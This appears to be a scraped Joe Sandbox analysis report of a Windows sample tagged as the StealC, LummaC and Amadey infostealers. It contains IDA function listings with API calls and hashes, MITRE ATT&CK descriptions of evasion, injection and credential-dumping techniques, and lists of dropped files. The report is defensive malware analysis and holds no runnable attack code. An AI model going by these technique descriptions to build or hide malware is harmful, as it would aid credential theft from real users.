Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: b78fe49c3fc65b7e633a907cd93840cbd884bfa6893b3424e0f9faee031df0f0
Instruction ID: 3bffe48aaabe928ba1d8c17a70365d6a4517bac35ffc52aa5ede24b31d18bf3f
Opcode Fuzzy Hash: b78fe49c3fc65b7e633a907cd93840cbd884bfa6893b3424e0f9faee031df0f0
Instruction Fuzzy Hash: DEE0D8312443083AD21437547D03FC97E848F05F21F10042AFB9C959C38EE6649036E9

Function 00F50D42 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00F4F7C9: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00F50D71,?,?,?,00F3100A), ref: 00F4F7CE

IsDebuggerPresent.KERNEL32(?,?,?,00F3100A), ref: 00F50D75
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00F3100A), ref: 00F50D84

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00F50D7F

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 55579361-631824599
Opcode ID: 8e258f0e16443c7adc37d65c1d7d48f0d40a7357dd90576b763490de58492a6a
Instruction ID: d8f19f91606a04279657718a7caebcbbbb70cdfd4c7b74361df04726444c09b9
Opcode Fuzzy Hash: 8e258f0e16443c7adc37d65c1d7d48f0d40a7357dd90576b763490de58492a6a
Instruction Fuzzy Hash: 42E06D702003418BD3309FB8DA05B82BBF0AF00741F00892DE986C7656DFB9E44CAB91

Function 00FA3017 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,00000001), ref: 00FA302F
GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 00FA3044

Strings

aut, xrefs: 00FA3038

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 86ab9fcdbfd95065f24c0c177adc42a6765273236df75a6d7e307cc73427dc52
Instruction ID: 5fd49ccb54fad145c54ea93e5c068728c20152ae94c8e4b4b43d6195310f80f3
Opcode Fuzzy Hash: 86ab9fcdbfd95065f24c0c177adc42a6765273236df75a6d7e307cc73427dc52
Instruction Fuzzy Hash: FDD05E7250032C67DA20E7A4AD0EFDB3A6CDB04750F0002A1B659E30A1DAB4D984CAD0

Function 00F8D21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00F8D220

Strings

%.3d, xrefs: 00F8D22B
X64, xrefs: 00F8D2A8

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: LocalTime
String ID: %.3d$X64
API String ID: 481472006-1077770165
Opcode ID: d40b073e54bc2aa37d24d9c43ed005dfb1834f2e07e27fff0907c3f6b23d0bac
Instruction ID: 31203d498f5cfe12c2427302e164e10b8d4915e3da72cbf3302a72d895cd4282
Opcode Fuzzy Hash: d40b073e54bc2aa37d24d9c43ed005dfb1834f2e07e27fff0907c3f6b23d0bac
Instruction Fuzzy Hash: 80D06262C49119F9CB50BAD4DD4AEF9B77CEF59341F508452FD0AD2080D628D5487761

Function 00FC2356 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00FC236C
PostMessageW.USER32(00000000), ref: 00FC2373

Part of subcall function 00F9E97B: Sleep.KERNEL32 ref: 00F9E9F3

Strings

Shell_TrayWnd, xrefs: 00FC2365

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: d36e5f4308706b78bd04952f7c117eb85cb11b37e714b41edef8bf9b1f795c7d
Instruction ID: c2a51021c431737ce0207b6e84e449734411e9f03029dcceb887d7b07198b14b
Opcode Fuzzy Hash: d36e5f4308706b78bd04952f7c117eb85cb11b37e714b41edef8bf9b1f795c7d
Instruction Fuzzy Hash: 43D0C9327813147AE664B7719E0FFC676149B04B14F004916B74AEA1E0C9A4A801AA94

Function 00FC2322 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00FC232C
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00FC233F

Part of subcall function 00F9E97B: Sleep.KERNEL32 ref: 00F9E9F3

Strings

Shell_TrayWnd, xrefs: 00FC2325

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: a554b6024434706ca2263bc42d792f5577a182be18f556ab2016d4484aeff892
Instruction ID: f9bbeba68b68980550c66e8ee35171ead03d99d67503762cc617969e5b009a5e
Opcode Fuzzy Hash: a554b6024434706ca2263bc42d792f5577a182be18f556ab2016d4484aeff892
Instruction Fuzzy Hash: BDD0C936794314B6E664B7719E0FFD67A149B00B14F004916B74AEA1E0C9A4A801AA94

Function 00F6BDFD Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 00F6BE93
GetLastError.KERNEL32 ref: 00F6BEA1
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00F6BEFC

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: aa605880860a04613c2cb0492c8aa5807a3ea2aa1d593daab5a73f34587878ed
Instruction ID: c61bfd96316b9ab7ee47d7bccf754ee254a42abc415ce1a205446e4adc5a56ad
Opcode Fuzzy Hash: aa605880860a04613c2cb0492c8aa5807a3ea2aa1d593daab5a73f34587878ed
Instruction Fuzzy Hash: 17410635A04206AFCF218FA5CC44BBA7BA5EF51320F144169F959DB1B1DB318C85FB60

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_e01d8601b1.exe_5985f13b32c2fd266aefe01f8cc71a9af177d3b1_4c1e5736_a1c4608b-3fcf-43ff-a5a9-b4bf46df44e7\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4B1F.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4DB0.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4DE0.tmp.xml

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\74f23764ea.exe.log

Windows Analysis Report
file.exe

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre